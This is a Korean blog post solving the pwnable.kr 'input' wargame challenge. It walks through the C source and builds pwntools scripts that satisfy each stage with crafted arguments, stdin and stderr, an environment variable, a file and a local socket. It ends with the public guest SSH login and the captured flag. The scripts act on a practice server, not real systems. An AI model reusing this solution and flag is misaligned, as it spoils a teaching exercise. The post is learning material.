[문제]
[풀이]
보호기법 분석
- 64 bits 바이너리
- 카나리 존재
- NX bits 존재
- PIE 없음
소스코드 분석 - input.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\\n");
printf("Let's see if you know how to give input to program\\n");
printf("Just give me correct inputs then you will get the flag :)\\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\\x00")) return 0;
if(strcmp(argv['B'],"\\x20\\x0a\\x0d")) return 0;
printf("Stage 1 clear!\\n");
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\\x00\\x0a\\x00\\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\\x00\\x0a\\x02\\xff", 4)) return 0;
printf("Stage 2 clear!\\n");
// env
if(strcmp("\\xca\\xfe\\xba\\xbe", getenv("\\xde\\xad\\xbe\\xef"))) return 0;
printf("Stage 3 clear!\\n");
// file
FILE* fp = fopen("\\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\\x00\\x00\\x00\\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\\xde\\xad\\xbe\\xef", 4)) return 0;
printf("Stage 5 clear!\\n");
// here's your flag
system("/bin/cat flag");
return 0;
}
- 우왁.. 코드가 긴 관계로 단락 별로 분석시도
- 프로그램에 input을 잘 줄 수 있는지에 대해서 아는지 물어보는 문제인 것 같음
🔽argv
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\\x00")) return 0;
if(strcmp(argv['B'],"\\x20\\x0a\\x0d")) return 0;
printf("Stage 1 clear!\\n");
- Stage1은 argv에 관한 내용인 것 같음
- 조건분 분석
- argc(인자의 개수)가 100이어야 함
- argv[’A’]가 “\x00”이어야 함
- argv[’B’]가 “\x20\x0a\x0d”이어야 함
Exploit Algorithm
💡 input으로 줘야 하는 것이 많으므로 python -c~ 형태로 전달하기는 어려워보임. pwntool을 이용해 인자 전달
- 특정 바이너리에 argv를 넣어주고 싶을 때 바이너리 process 부분에 argv을 전달해줄 수 있음
from pwn import *
p1 = ssh("계정명", "서버주소", port=포트, password="비밀번호")
argv1 = ["" for i in range(argc)]
argv1[1] = "AAAA"
argv2[2] = "BBBB"
p = p1.process(executable="실행할 바이너리 절대경로", argv=argv1)
exploit code
from pwn import *
s = ssh(user='input2', host='pwnable.kr', password='guest', port=2222)
#stage1
argv = ["a" for i in range(100)]
argv[65] = "\\x00" #65 == ord('A')
argv[66] = "\\x20\\x0a\\x0d" #66 == ord('B')
p = s.process(executable="/home/input2/input", argv=argv)
p.interactive()
- 100개의 인자를 넣어주기 위해 list로 “a”로 채워진 100byte 리스트 생성
- argv는 프로그램 실행 시 함께 넣어주는 값이기 때문에 process 실행 후에 값을 변경하면 안됨
- 처음에 sendline(argvs) 문장도 넣었더니 TypeError 발생했음!
- argv 넣을 때는 send 함수 사용하지 않도록 주의하자
방법2
from pwn import *
s = ssh(user='input2', host='pwnable.kr', password='guest', port=2222)
#stage1
argv = ["" for i in range(100)]
for i in range(100):
if i == 65:
argv[i] = "\\x00"
elif i == 66:
argv[i] = "\\x20\\x0a\\x0d"
else:
argv[i] = "a"
p = s.process(executable="/home/input2/input", argv=argv)
p.interactive()
- Stage1 성공!
🔽stdio
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\\x00\\x0a\\x00\\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\\x00\\x0a\\x02\\xff", 4)) return 0;
printf("Stage 2 clear!\\n");
- buf는 4byte로 read 함수를 통해 사용자의 입력을 받음 → BOF는 없어보임
- buf에 입력된 값이 \x00\x0a\x00\xff이어야 함
- 에러가 발생할 때 buf 값을 읽어옴
- 값이 \x00\x0a\x02\xff이어야 함
Exploit Algorithm
💡 내가 입력한 값에 대해서 에러 처리를 해야 하는데 이것을 어떻게 할 수 있을지 고민해야 할 것 같음
시도(실패)
from pwn import *
s = ssh(user='input2', host='pwnable.kr', password='guest', port=2222)
#stage1
argv = ["a" for i in range(100)]
argv[65] = "\\x00" #65 == ord('A')
argv[66] = "\\x20\\x0a\\x0d" #66 == ord('B')
#stage2
f = open('./stage2', 'w')
f.write("\\x00\\x0a\\x02\\xff")
f.close()
put = "\\x00\\x0a\\x00\\xff"
p = s.process(executable="/home/input2/input", argv=argv, stderr=open('./stage2','r'))
p.send(put)
p.interactive()
- stage1에서 process 함수의 argument를 이용하는 것 같아 이에 대해 조사해봄
pwnlib.tubes.process - Processes - pwntools 2.2.1 documentation
→ 확인해보니 stderr로 표준 에러를 처리할 수 있고, stderr를 이용할 때에는 파일을 읽어오는 형태로 사용한다고 함
- 그런데, 원격지의 파일을 읽어올 수는 없는 것 같음 → 나는 로컬에서 ssh로 접속하는데 write함수로 작성한 파일은 내 로컬에 저장돼서 못할 것 같음..
- ssh로 서버에 접속했기 때문에 서버 내에서 파일이 생성되지 않을까? 생각했는데 아니었음
- 하긴.. 아무나 파일을 생성하면 권한 문제도 있으니 안될 것 같긴함
- 서버에 접속해서 tmp 하위에 생성해야 할 것으로 보임
0812) 해결책 찾음!! → 다른 분 write up 보다가 발견함
Exploit code
input2@pwnable:/tmp/sikk$ cat test.py
from pwn import *
#stage1
argv = ["a" for i in range(100)]
argv[65] = "\\x00" #65 == ord('A')
argv[66] = "\\x20\\x0a\\x0d" #66 == ord('B')
#stage2
f = open('./stage2', 'w')
f.write("\\x00\\x0a\\x02\\xff")
f.close()
p = process(executable="/home/input2/input", argv=argv, stderr=open('./stage2','r'))
p.send("\\x00\\x0a\\x00\\xff")
p.interactive()
- read 0번으로 입력하는 것은 process 실행 후 줘야 하는 값이므로 뒤에 보냄!
- Stage2 성공!
🔽env
// env
if(strcmp("\\xca\\xfe\\xba\\xbe", getenv("\\xde\\xad\\xbe\\xef"))) return 0;
printf("Stage 3 clear!\\n");
- 환경변수에 관한 문제로 보임
- getenv 함수
- strcmp 함수로 문자열을 비교하는데, 환경 변수 \xde\xad\xbe\xef의 이름과 \xca\xfe\xba\xbe이 일치하면 Stage3 통과
Exploit Algorithm
💡 환경 변수를 생성해주는데 이름이 \xdeadbeef이고, 이것을 호출했을 때 내용이 \xcafebabe이면 될 것 같음
Exploit code
from pwn import *
#stage1
argv = ["a" for i in range(100)]
argv[65] = "\\x00" #65 == ord('A')
argv[66] = "\\x20\\x0a\\x0d" #66 == ord('B')
#stage2
f = open('./stage2', 'w')
f.write("\\x00\\x0a\\x02\\xff")
f.close()
p = process(executable="/home/input2/input", argv=argv, stderr=open('./stage2','r'), env={'\\xde\\xad\\xbe\\xef':'\\xca\\xfe\\xba\\xbe'})
p.send("\\x00\\x0a\\x00\\xff")
p.interactive()
- Stage3 성공!
🔽file
// file
FILE* fp = fopen("\\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\\x00\\x00\\x00\\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\\n");
- \x0a라는 파일을 읽는데 첫 4byte가 \x00\x00\x00\x00으로 되어 있어야 함
Exploit Algorithm
💡 \x0a 이름의 파일을 만들어 내용을 \x00\x00\x00\x00으로 넣어주면 될 것
Exploit code
from pwn import *
#stage1
argv = ["a" for i in range(100)]
argv[65] = "\\x00" #65 == ord('A')
argv[66] = "\\x20\\x0a\\x0d" #66 == ord('B')
#stage2
f = open('./stage2', 'w')
f.write("\\x00\\x0a\\x02\\xff")
f.close()
#stage4
f = open('./\\x0a', 'a')
f.write("\\x00\\x00\\x00\\x00")
f.close()
p = process(executable="/home/input2/input", argv=argv, stderr=open('./stage2','r'), env={'\\xde\\xad\\xbe\\xef':'\\xca\\xfe\\xba\\xbe'})
p.send("\\x00\\x0a\\x00\\xff")
#p.interactive()
- 처음에 서버 내에서 실행하니 interactive 부분을 안넣어도 되나? 싶어서 빼고 해봤더니 stage clear와 관련된 문구들이 출력되지 않음
- Stage4 성공!
🔽network
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){ //socket 연결 에러
printf("socket error, tell admin\\n");
return 0;
}
saddr.sin_family = AF_INET; //IPv4 연결
saddr.sin_addr.s_addr = INADDR_ANY; //접속할 대상을 지정하지 않음
saddr.sin_port = htons( atoi(argv['C']) ); //port 설정. argv[12]를 int 형으로 변환
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ //sd를 소켓으로 사용
printf("bind error, use another port\\n");
return 1;
}
listen(sd, 1); //접속이 들어올 때까지 대기. 최대 대기자 수는 1
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);//접속한 유저의 sockaddr_in 획득
if(cd < 0){
printf("accept error, tell admin\\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0; //port 번호가 설정한 것과 같아야 하는 것 같음
if(memcmp(buf, "\\xde\\xad\\xbe\\xef", 4)) return 0; //buf의 4byte가 \\xde\\xad\\xbe\\xef이어야 함
printf("Stage 5 clear!\\n");
- 클라이언트 소켓을 프로그래밍 해야 할 것 같음
- 소켓에 대해 잘모르기 때문에 이론부터 공부함!
- socket 통신
Exploit Algorithm
💡 내가 직접 포트를 설정해서 localhost로 연결 후, \xdeadbeef 값을 보내주면 될 것
Exploit code
from pwn import *
#stage1
argv = ["a" for i in range(100)]
argv[65] = "\\x00" #65 == ord('A')
argv[66] = "\\x20\\x0a\\x0d" #66 == ord('B')
#stage2
f = open('./stage2', 'w')
f.write("\\x00\\x0a\\x02\\xff")
f.close()
#stage4
f = open('./\\\\x0a', 'a')
f.write("\\x00\\x00\\x00\\x00")
f.close()
#stage5
argv[67] = "1010" #67 == ord('C')
p = process(executable="/home/input2/input", argv=argv, stderr=open('./stage2','r'), env={'\\xde\\xad\\xbe\\xef':'\\xca\\xfe\\xba\\xbe'})
p.sendline("\\x00\\x0a\\x00\\xff")
sock = remote('localhost', 1010)
sock.send("\\xde\\xad\\xbe\\xef")
p.interactive()
- 우와..우와… 포트 1010으로 했더니 계속 에러가 나서 이상함을 감지했음. 분명 코드 맞는데 안돼서 write up을 찾아봤는데 똑같은겨!!
- 포트번호를 10000번 대로 변경하니 해결됨
- 앞쪽 번호를 사용하면 안되는 것 같음! 이미 할당된 번호일수도?
최종) Exploit Code
from pwn import *
#stage1
argv = ["a" for i in range(100)]
argv[65] = "\\x00" #65 == ord('A')
argv[66] = "\\x20\\x0a\\x0d" #66 == ord('B')
#stage2
f = open('./stage2', 'w')
f.write("\\x00\\x0a\\x02\\xff")
f.close()
#stage4
f = open('./\\\\x0a', 'a')
f.write("\\x00\\x00\\x00\\x00")
f.close()
#stage5
argv[67] = "13245" #67 == ord('C')
p = process(executable="/home/input2/input", argv=argv, stderr=open('./stage2','r'), env={'\\xde\\xad\\xbe\\xef':'\\xca\\xfe\\xba\\xbe'})
p.sendline("\\x00\\x0a\\x00\\xff")
r = remote('localhost', 13245)
r.send("\\xde\\xad\\xbe\\xef")
p.interactive()
- 그러나 현재 디렉토리에는 flag 파일이 없어 exploit 되지 않음
- 심볼릭 링크로 연결해주는 작업 필요함(like 윈도우의 바로가기 작업!)
💡 ln -s [대상 원본 파일] [새로 만들 파일 이름]
원격 실행 코드
from pwn import *
p = ssh(user='input2', host='pwnable.kr', password='guest', port=2222)
#stage1
argv = ["a" for i in range(100)]
argv[65] = "\\x00" #65 == ord('A')
argv[66] = "\\x20\\x0a\\x0d" #66 == ord('B')
#stage2
p.run("mkdir /tmp/sik")
p.write('/tmp/sik/stage2', '\\x00\\x0a\\x02\\xff')
#stage4
p.write('/tmp/sik/\\x0a', '\\x00\\x00\\x00\\x00')
#stage5
argv[67] = "40000" #67 == ord('C')
s = p.process(cwd="/tmp/sik", executable="/home/input2/input", argv=argv, stderr="/tmp/sik/stage2", env={'\\xde\\xad\\xbe\\xef':'\\xca\\xfe\\xba\\xbe'})
p.run("ln -s /home/input2/flag /tmp/sik/flag")
print s.recvuntil('Stage 1 clear!')
s.sendline("\\x00\\x0a\\x00\\xff")
print s.recvuntil('Stage 2 clear!')
print s.recvuntil('Stage 3 clear!')
print s.recvuntil('Stage 4 clear!')
r = p.remote('localhost', 40000)
r.send("\\xde\\xad\\xbe\\xef")
print s.recvuntil('Stage 5 clear!')
print s.recv(2048)
s.interactive()
→ Stage는 모두 clear 했는데 flag만 출력되지 않는 이유는 뭘까..?
[pwnable.kr] input 풀이 (pwntools process executable!!)
- 이분이랑 똑같이 해도 안나옴
flag
🍒 Mommy! I learned how to pass various input in Linux :)
'Wargame > Pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] mistake (2) | 2022.10.15 |
---|---|
[Pwnable.kr] leg (2) | 2022.10.15 |
[Pwnable.kr] random (0) | 2022.10.14 |
[Pwnable.kr] passcode (0) | 2022.10.14 |
[Pwnable.kr] flag (0) | 2022.10.14 |